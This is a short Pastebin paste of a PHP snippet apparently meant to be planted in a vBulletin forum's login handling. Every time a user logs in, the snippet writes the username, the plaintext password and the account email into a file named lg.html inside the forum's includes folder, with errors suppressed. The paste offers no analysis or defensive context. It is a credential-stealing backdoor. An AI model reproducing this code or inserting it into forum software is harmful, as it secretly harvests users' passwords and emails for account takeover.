Advertisement
Guest User

Untitled

a guest
Aug 12th, 2017
56
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.81 KB | None | 0 0
  1. $lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
  2. $lg_password = $vbulletin->GPC["vb_login_password"];
  3. $lg_file = "./includes/lg.html";
  4. $sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");
  5.  
  6. while($row = @mysql_fetch_array($sql_query))
  7. {
  8.  
  9. if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
  10. {
  11. $fp1 = @fopen($lg_file, "a+");
  12. @fwrite($fp1, $lg_username . ' : ' . $lg_password." (" . $row["email"] . ")\n");
  13. @fclose($fp1);
  14. $f = @file($lg_file);
  15. $new = array_unique($f);
  16. $fp = @fopen($lg_file, "w");
  17. foreach($new as $values)
  18. {
  19. @fputs($fp, $values);
  20. }
  21. @fclose($fp);
  22. }
  23. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement